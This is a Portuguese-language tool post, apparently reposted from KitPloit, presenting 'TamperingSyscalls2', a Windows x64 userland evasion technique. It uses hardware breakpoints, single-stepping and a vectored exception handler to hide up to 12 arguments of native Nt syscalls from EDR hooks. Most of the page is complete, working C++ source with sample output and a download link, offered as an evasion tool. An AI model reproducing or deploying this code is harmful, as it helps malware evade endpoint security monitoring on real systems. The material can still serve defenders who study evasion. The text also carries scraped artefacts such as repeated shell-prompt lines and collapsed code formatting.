				// We'll peek like SockDetour as to not eat the message
				recvlen = recv(ExceptionInfo->ContextRecord->Rcx, (char*)&msg,
					sizeof(MSG_AUTH), MSG_PEEK);
					// Authenticate and proceed

			}
		}

		// Set corresponding Dr
		for (auto& i : ADDRESS_MAP) {
			if (i.first == ExceptionInfo->ContextRecord->Rip) {
				SetHWBP(GetCurrentThread(), i.first, i.second.pos, true);
			}
		}

		ExceptionInfo->ContextRecord->EFlags |= (1 << 16);
}) };


Terminaremos implementando uma técnica genérica de evasão em userland x64 inspirada no TamperingSyscalls, que utiliza uma versão adequadamente modificada do mecanismo de hardware breakpoint mostrado anteriormente para ocultar até 12 dos argumentos de até QUAISQUER 4 syscalls Nt de cada vez por thread. Observe que optei por não propagar o conteúdo dos registradores de depuração para todas as threads, pois isso provavelmente seria indesejável (se desejado, substitua SetHWBP por SetHWBPS).

Não preciso descrever por que isso seria desejável e super ÉPICO, nem mergulhar em hooking de userland, pois esses não são os tópicos em questão ou de interesse, e já foram abordados em profundidade várias vezes [5]. 

Criamos um novo mapeamento usando (address | ThreadID) como chave única, e o valor é uma estrutura contendo os argumentos da função. Criaremos uma nova entrada em nosso mapeamento ao entrar no syscall e limparemos os valores nos registradores e na pilha. 

Usamos o single-stepping (por meio da trap flag) para fingir que temos mais registradores de depuração do que realmente temos. PODEMOS fazer isso, desde que saibamos quando e onde precisamos que ações específicas ocorram. 

Quando atingimos o endereço do syscall desejado, restauramos nossos valores a partir da entrada do hashmap associada à nossa chave. Isso retornará os valores da pilha nos registradores. Em seguida, continuamos o single-step até a instrução de retorno, onde paramos o single-step e seguimos em frente! 

Isso, em última análise, nos permite fazer hooking sem tipos. Além disso, inicialmente, especificamos que vamos ocultar apenas 12 argumentos, 4 dos registradores e 8 da pilha. Esse valor "8" é apenas arbitrário, mas recomendado, e ocultar ou alterar mais valores/argumentos na pilha pode produzir comportamento indesejado.

Nossa pilha de chamadas já deve se originar de uma DLL adequada e, portanto, você não deve precisar chamar as funções nativas e pode chamar um wrapper adequado de qualquer DLL, desde que chame o construtor com o endereço da função nativa na NTDLL. 

Isso é trivial e pode ser alcançado alterando a macro:
#define STK_ARGS 8		// 12 - 4 = 8 - should cover most Nt functions. 

No exemplo, mostramos isso funcionando com NtCreateThreadEx e NtCreateMutant! Certifique-se de estar usando apenas os 4 registradores de depuração individualmente por thread. Quando terminar com uma função específica, você pode liberar o registrador de depuração associado chamando o método RemoveHWBPS. 

1. Se (addr == entry.first), isso significa que estamos na instrução mov r10, rcx 
 - Armazenamos nossos argumentos na entrada do nosso hashmap usando a chave (TID | address)

const auto key = (address + 0x12) | GetCurrentThreadId();

SYSCALL_MAP[key].Rcx = ExceptionInfo->ContextRecord->Rcx;
SYSCALL_MAP[key].Rdx = ExceptionInfo->ContextRecord->Rdx;
SYSCALL_MAP[key].R8 = ExceptionInfo->ContextRecord->R8;
SYSCALL_MAP[key].R9 = ExceptionInfo->ContextRecord->R9;

for (size_t idx = 0; idx < STK_ARGS; idx++)
{
	const size_t offset = idx * 0x8 + 0x28;
	SYSCALL_MAP[key].stk[idx] =
		*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset);
}
 - Em seguida, definimos esses valores de argumento como 0 (podem ser qualquer outro valor arbitrário) 

ExceptionInfo->ContextRecord->Rcx = 0;
ExceptionInfo->ContextRecord->Rdx = 0;
ExceptionInfo->ContextRecord->R8 = 0;
ExceptionInfo->ContextRecord->R9 = 0;
// ...

 - Em seguida, definimos a Resume Flag no bit 16 e a Trap Flag no bit 8
 - Isso continuará a execução, como de costume, afetando apenas minimamente o desempenho. 
 
ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // Resume Flag
ExceptionInfo->ContextRecord->EFlags |= (1 << 8);	// Trap Flag

2. Continue o single-step até (addr == entry.second.sysc) 
 - Agora estamos na instrução syscall e passamos por quaisquer hooks de userland 
 - Restauramos nossos argumentos usando a chave de consulta (TID | address) anterior.```c
auto const key = (address | GetCurrentThreadId());

// mov rcx, r10 
ExceptionInfo->ContextRecord->R10 = SYSCALL_MAP[key].Rcx;
ExceptionInfo->ContextRecord->Rcx = SYSCALL_MAP[key].Rcx;	
ExceptionInfo->ContextRecord->Rdx = SYSCALL_MAP[key].Rdx;
ExceptionInfo->ContextRecord->R8 = SYSCALL_MAP[key].R8;
ExceptionInfo->ContextRecord->R9 = SYSCALL_MAP[key].R9;

for (size_t idx = 0; idx < STK_ARGS; idx++)
{
	const size_t offset = idx * 0x8 + 0x28;
	*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset) =
		SYSCALL_MAP[key].stk[idx];
}
  • Vamos executar passo a passo novamente.
  1. Agora estamos em (address == ai.return_addr)
  • Agora podemos parar a execução passo a passo e definir apenas a Resume Flag (não a Trap Flag)
  • Isso continuará a execução, como de costume, afetando apenas minimamente o desempenho.

A técnica descrita anteriormente é implementada, focando em ocultar TODOS os argumentos da MAIORIA das syscalls nativas! E então aproveite esta solução elegante e direta, onde também forneço as instruções de impressão de depuração, para que você possa ver as mudanças feitas na pilha e nos registradores e os processos de raciocínio por trás de tudo isso.```C ////////////////////////////////////////////////////////////////////////////////////////// /* TamperingSyscalls2.cpp - @rad9800 / / C++ Generic x64 user-land evasion technique utilizing HWBP.cpp / / Hides up to 12 args of up to 4 NT calls per thread */ ////////////////////////////////////////////////////////////////////////////////////////// #include <windows.h>

#include <tlhelp32.h> #include

////////////////////////////////////////////////////////////////////////////////////////// /* Structs */ //////////////////////////////////////////////////////////////////////////////////////////

root@kitploit:~
					// 12 - 4 = 8 - should cover most Nt functions. 

#define STK_ARGS 8 // Increase this value, works until ~100...

typedef struct { uintptr_t syscall_addr; // +0x12 uintptr_t return_addr; // +0x14 } ADDRESS_INFORMATION;

typedef struct { uintptr_t Rcx; // First uintptr_t Rdx; // Second uintptr_t R8; // Third uintptr_t R9; // Fourth uintptr_t stk[STK_ARGS]; // Stack args } FUNC_ARGS;

////////////////////////////////////////////////////////////////////////////////////////// /* Macros / ////////////////////////////////////////////////////////////////////////////////////////// #define PRINT_ARGS( State, ExceptionInfo )
printf("%s %d arguments and stack for 0x%p || TID : 0x%x\n",
State, (STK_ARGS + 4), (PVOID)address, GetCurrentThreadId());
printf("1:\t0x%p\n", (PVOID)(ExceptionInfo)->ContextRecord->Rcx);
printf("2:\t0x%p\n", (PVOID)(ExceptionInfo)->ContextRecord->Rdx);
printf("3:\t0x%p\n", (PVOID)(ExceptionInfo)->ContextRecord->R8);
printf("4:\t0x%p\n", (PVOID)(ExceptionInfo)->ContextRecord->R9);
for (UINT idx = 0; idx < STK_ARGS; idx++){
const size_t offset = idx * 0x8 + 0x28;
printf("%d:\t0x%p\n", (idx + 5), (PVOID)
(PULONG64)
((ExceptionInfo)->ContextRecord->Rsp + offset));
}

////////////////////////////////////////////////////////////////////////////////////////// /* Globals */ ////////////////////////////////////////////////////////////////////////////////////////// std::unordered_map<uintptr_t, ADDRESS_INFORMATION> ADDRESS_MAP{ 0 }; // syscall opcode { 0x55 } address, func args in registers and stack std::unordered_map<uintptr_t, FUNC_ARGS> SYSCALL_MAP{ 0 };

////////////////////////////////////////////////////////////////////////////////////////// /* Functions */ ////////////////////////////////////////////////////////////////////////////////////////// VOID SetHWBP(const HANDLE thd, const uintptr_t address, const UINT pos, const bool init) { CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS }; GetThreadContext(thd, &context);

root@kitploit:~
if (init) {
	(&context.Dr0)[pos] = address;

	context.Dr7 &= ~(3ull << (16 + 4 * pos));
	context.Dr7 &= ~(3ull << (18 + 4 * pos));
	context.Dr7 |= 1ull << (2 * pos);
}
else {
	if ((&context.Dr0)[pos] == address) {
		context.Dr7 &= ~(1ull << (2 * pos));
		(&context.Dr0)[pos] = NULL;
	}
}

SetThreadContext(thd, &context);

}

// Find our ret ROP gadget (pointer decay so need explicit size) uintptr_t FindRopAddress(const uintptr_t function, const BYTE* stub, const UINT size) { for (unsigned int i = 0; i < (unsigned int)25; i++) { // memcmp WILL be optimized if (memcmp((LPVOID)(function + i), stub, size) == 0) { return (function + i); } } return NULL; }

DWORD WINAPI TestThread(LPVOID lpParameter);

////////////////////////////////////////////////////////////////////////////////////////// /* Classes */ ////////////////////////////////////////////////////////////////////////////////////////// struct TS2_HWBP { private: const uintptr_t address; UINT pos; public: TS2_HWBP(const uintptr_t address, const UINT idx) : address{ address }, pos{ idx % 4 } { SetHWBP(GetCurrentThread(), address, pos, true);

root@kitploit:~
	BYTE syscop[] = { 0x0F, 0x05 };
	ADDRESS_MAP[address].syscall_addr =
		FindRopAddress(address, syscop, sizeof(syscop));
	BYTE retnop[] = { 0xC3 };
	ADDRESS_MAP[address].return_addr =
		FindRopAddress(address, retnop, sizeof(retnop));
};

VOID RemoveHWBPS()
{
	SetHWBP(GetCurrentThread(), address, pos, false);
}

~TS2_HWBP()
{
	RemoveHWBPS();
}

};

////////////////////////////////////////////////////////////////////////////////////////// /* Exception Handler */ ////////////////////////////////////////////////////////////////////////////////////////// LONG WINAPI ExceptionHandler(const PEXCEPTION_POINTERS ExceptionInfo) { const auto address = ExceptionInfo->ContextRecord->Rip; if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP) { for (const auto& [syscall_instr, ai] : ADDRESS_MAP) { // check we are inside valid syscall instructions if ((address >= syscall_instr) && (address <= ai.return_addr)) { printf("0x%p >= 0x%p\n", (PVOID)address, (PVOID)syscall_instr); printf("0x%p <= 0x%p\n", (PVOID)address, (PVOID)ai.return_addr);

root@kitploit:~
			if (address == syscall_instr) // mov r10, rcx
			{
				const auto key = (address + 0x12) | GetCurrentThreadId();

				SYSCALL_MAP[key].Rcx = ExceptionInfo->ContextRecord->Rcx;
				SYSCALL_MAP[key].Rdx = ExceptionInfo->ContextRecord->Rdx;
				SYSCALL_MAP[key].R8 = ExceptionInfo->ContextRecord->R8;
				SYSCALL_MAP[key].R9 = ExceptionInfo->ContextRecord->R9;

				for (size_t idx = 0; idx < STK_ARGS; idx++)
				{
					const size_t offset = idx * 0x8 + 0x28;
					SYSCALL_MAP[key].stk[idx] =
						*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset);
				}

				PRINT_ARGS("HIDING", ExceptionInfo);

				ExceptionInfo->ContextRecord->Rcx = 0;
				ExceptionInfo->ContextRecord->Rdx = 0;
				ExceptionInfo->ContextRecord->R8 = 0;
				ExceptionInfo->ContextRecord->R9 = 0;

				for (size_t idx = 0; idx < STK_ARGS; idx++)
				{
					const size_t offset = idx * 0x8 + 0x28;
					*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset) = 0ull;
				}

				PRINT_ARGS("HIDDEN", ExceptionInfo);

				ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // Resume Flag
			}
			else if (address == ai.syscall_addr)
			{
				auto const key = (address | GetCurrentThreadId());

				// SSN in ExceptionInfo->ContextRecord->Rax

				// mov rcx, r10 
				ExceptionInfo->ContextRecord->R10 = SYSCALL_MAP[key].Rcx;
				ExceptionInfo->ContextRecord->Rcx = SYSCALL_MAP[key].Rcx;
				ExceptionInfo->ContextRecord->Rdx = SYSCALL_MAP[key].Rdx;
				ExceptionInfo->ContextRecord->R8 = SYSCALL_MAP[key].R8;
				ExceptionInfo->ContextRecord->R9 = SYSCALL_MAP[key].R9;

				for (size_t idx = 0; idx < STK_ARGS; idx++)
				{
					const size_t offset = idx * 0x8 + 0x28;
					*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset) =
						SYSCALL_MAP[key].stk[idx];
				}

				PRINT_ARGS("RESTORED", ExceptionInfo);

				SYSCALL_MAP.erase(key);
			}
			else if (address == ai.return_addr)
			{
				ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // Resume Flag
				return EXCEPTION_CONTINUE_EXECUTION;
			}
			ExceptionInfo->ContextRecord->EFlags |= (1 << 8);	// Trap Flag
			return EXCEPTION_CONTINUE_EXECUTION;
		}
	}
}
return EXCEPTION_CONTINUE_SEARCH;

}

////////////////////////////////////////////////////////////////////////////////////////// /* Entry */ ////////////////////////////////////////////////////////////////////////////////////////// int main() { const PVOID handler = AddVectoredExceptionHandler(1, ExceptionHandler);

root@kitploit:~
TS2_HWBP TS2NtCreateThreadEx{
	(uintptr_t)(GetProcAddress(GetModuleHandleW(L"NTDLL.dll"),
	"NtCreateThreadEx")),
	0
};

for (unsigned int i = 0; i < 2; ++i) {
	HANDLE t = CreateThread(nullptr, 0, TestThread, nullptr, 0, nullptr);
	if (t) WaitForSingleObject(t, INFINITE);
}

TS2NtCreateThreadEx.RemoveHWBPS();

if (handler != nullptr) RemoveVectoredExceptionHandler(handler);

}

DWORD WINAPI TestThread(LPVOID lpParameter) { UNREFERENCED_PARAMETER(lpParameter); printf("\n----TestThread----\n\n");

root@kitploit:~
TS2_HWBP TS2NtCreateMutant{
	(uintptr_t)(GetProcAddress(GetModuleHandleW(L"NTDLL.dll"),
	"NtCreateMutant")),
	0
};

HANDLE m = CreateMutexA(NULL, TRUE, "rad98");
if (m) CloseHandle(m);

return 0;

} ////////////////////////////////////////////////////////////////////////////////////////// /* EOF */ //////////////////////////////////////////////////////////////////////////////////////////

root@kitploit:~
Aqui está um exemplo de saída, mostrando os argumentos de NtCreateThreadEx sendo ocultados.```
0x00007FFBDF485400 >= 0x00007FFBDF485400
0x00007FFBDF485400 <= 0x00007FFBDF485414
HIDING 12 arguments and stack for 0x00007FFBDF485400 || TID : 0x9ecc
1:      0x00000062618FF8D8
2:      0x00000000001FFFFF
3:      0x0000000000000000
4:      0xFFFFFFFFFFFFFFFF
5:      0x00007FF79FB01FA0
6:      0x0000000000000000
7:      0x0000000000000000
8:      0x0000000000000000
9:      0x0000000000000000
10:     0x0000000000000000
11:     0x00000062618FF9F0
12:     0x000001C700000000
HIDDEN 12 arguments and stack for 0x00007FFBDF485400 || TID : 0x9ecc
1:      0x0000000000000000
2:      0x0000000000000000
3:      0x0000000000000000
4:      0x0000000000000000
5:      0x0000000000000000
6:      0x0000000000000000
7:      0x0000000000000000
8:      0x0000000000000000
9:      0x0000000000000000
10:     0x0000000000000000
11:     0x0000000000000000
12:     0x0000000000000000
0x00007FFBDF485403 >= 0x00007FFBDF485400
0x00007FFBDF485403 <= 0x00007FFBDF485414
0x00007FFBDF485408 >= 0x00007FFBDF485400
0x00007FFBDF485408 <= 0x00007FFBDF485414
0x00007FFBDF485410 >= 0x00007FFBDF485400
0x00007FFBDF485410 <= 0x00007FFBDF485414
0x00007FFBDF485412 >= 0x00007FFBDF485400
0x00007FFBDF485412 <= 0x00007FFBDF485414
RESTORED 12 arguments and stack for 0x00007FFBDF485412 || TID : 0x9ecc
1:      0x00000062618FF8D8
2:      0x00000000001FFFFF
3:      0x0000000000000000
4:      0xFFFFFFFFFFFFFFFF
5:      0x00007FF79FB01FA0
6:      0x0000000000000000
7:      0x0000000000000000
8:      0x0000000000000000
9:      0x0000000000000000
10:     0x0000000000000000
11:     0x00000062618FF9F0
12:     0x000001C700000000
0x00007FFBDF485414 >= 0x00007FFBDF485400
0x00007FFBDF485414 <= 0x00007FFBDF485414

----TestThread----
[...]

TamperingSyscalls2 (Black Mass) - https://godbolt.org/z/4qrM6j9q7

TamperingSyscalls2 (updated) - https://godbolt.org/z/edf9v1Wj6

TamperingSyscalls2 (pure C) - https://godbolt.org/z/9va7YzEe9

O código compartilhado deve funcionar para a maioria das syscalls, embora você deva testar antes do uso. A única grande limitação nos trabalhos apresentados é a dependência de hashmaps (std::unordered_map); isso internamente chamará várias funções nativas indiretamente, como NtAllocateVirtualMemory, impedindo-nos de fazer hook nelas. Isso pode ser reaproveitado para funcionar com x86 com esforço mínimo.

No futuro, você poderia modificar as bibliotecas para utilizar single stepping, como mostrado no último exemplo. Você precisaria saber quando deseja parar o single-stepping (um endereço ou intervalo) e fazer isso dessa forma. Isso também pode ser usado para o hooking de PAGE_GUARD.

Você também poderia substituir AddVectoredExceptionHandler por: SetUnhandledExceptionFilter(ExceptionHandler);

Referências:

[1] https://learn.microsoft.com/en-us/windows/win32/debug/using-a-vectored-exception-handler

[2] https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention

[3] https://unit42.paloaltonetworks.com/sockdetour/

[4] https://github.com/microsoft/Windows-classic-samples/tree/main/Samples/Win7Samples/netds/winsock/

[5] https://fool.ish.wtf/2022/08/tamperingsyscalls.html

[6] https://labs.withsecure.com/publications/spoofing-call-stacks-to-confuse-edrs

Com tudo isso, espero terminar em uma nota positiva; espero que você tenha compreendido o poder BRUTO INIGUALÁVEL dos breakpoints de hardware!!!

Saudações para jonas, hjonk, smelly, mez0 e os outros geezers ;)``` .
. .
!
:^.
^77^ :!7:
.
!^. 7!!
:!: :7^.
!. ! ...:^.
!7. .!^ !!!
:
7. ^7: .7.
.:^::. .7! !! !

....:::^!. !!: .7^ .!^
.:^:. :!!:.^!. .7.
^^?^. :!!!
:::::^7
.^:
!7!^. ^7^:^~~~~~^:
:^^:7. .77
::^^!!: :. -your mate
.!7~:::~!
!!^ .!^. ^^. rad
!?^^.::^~~~777!. ^7. .^^:
^??^:.:::^~~~!!!7!!^. .!! .98. ...^~~~^:
.7JJ:^::::::^^!!
!7JY?^.:...:: :: .?5: .?G5Y7!:
.:^7JJ777^^~~~~~^^^:^!~~~!7???J7
:^^::.... ... . ^!7.^:.:~ JBYJ~.
.^?5J!^~~~^^^:::^~~~~~^~~~~!!77??:.^::::....^::... .: ::7!.:^^::^^ ?B7:: .....
^^!!!^^!!77777~~~~!!!777????!::..:.. . .^!!77!^^ .:. ...^: . !B7. ~~::.
:. .^!?7:::^^^!!7??J?7!!!!7?7:::. ... .^!77!
^:!!:. ..: J? ... .^ .^!J:^^^:::^7?YYYJ7!!..:. :^^^77?777!::^^ . . ....... .. .. ...:~~~!! .~~?:^^^^:^^^^^!7!7!:. .^:^777!7??7!!!^:: . . ....::..... .^~~~^^^^ ^^7^^!^^^^~~~:.:..^!:^^:7??7????7!!^:: . ... .......... .J?7!~~^^^^ .!^!^^^^^^..:^....:.^!7JYY5YJJ?77!:.^~ .. .:.... .... :5Y?7777~~~^ :7^^^^~~~:..::^^:. :!^..:!!!77???JJ?!^!!:. .^::::.::^..: .J?7~~^^^^^^ !!.^!!!^.::::... ^:..7JJJ??777!!!!!!~~~^. .......^^^ ...!J?77!!77?7!~ ^7!::!!^:..:^::.. .^...^!77????77!~~~~^^!?!. . .. .::..:. .^7Y5YYYJ???!! ^?7::^^!. :::::. :: ... .....::::^^^!!!^. ....:!?!7!. .^..:?5YYJ?777!! ?7^^!!7!: ..:... ^::.:^^:::.... ..:::!!..7JJYYYYJJJ??J?JJ :7!::~~~~: ... .^:.:::...^^:::::...... ......... :!: !7??JJJJJ???777 .:^~~7!!77!!^ :^:................::....:::.....:.:.. :!: :77J?7!!7??77!~~~~ ?J57~!!!77!!!!!^:...^. .. ........:^^^^:....:.... :!. .?Y5YJ??J?7!^^^^ ^::!!!!!77!!~~~!7!!^:^~~~~^:.. ....:::^^^::........ : .^?JJYJJ777!^^^ .^??^!!^^::~~~^:!!77!!^^^:. .....::::^:.. .... ^^ .. ..:7J5YJJ?!!~~ .J!~~~^^:^::::^^^^!7!!~~~~!!^. .. ...::^......... .^::..:... .^755YJ???7 .^7^:^!^:^:^^^^^!!!!~~~~~~:. .. ...:... .....:^^^:^::: ^JYYY?!~~ ^!:!^:^^~~~!~~~~~~~!7!!: . . .. ..... .:..:^^::::.. .?Y?!!!!~ :!^^^::::^~~^~~~~~~~!7!77. . . . . ......:::.. . ^7!7?7~~

root@kitploit:~
Baixar ferramenta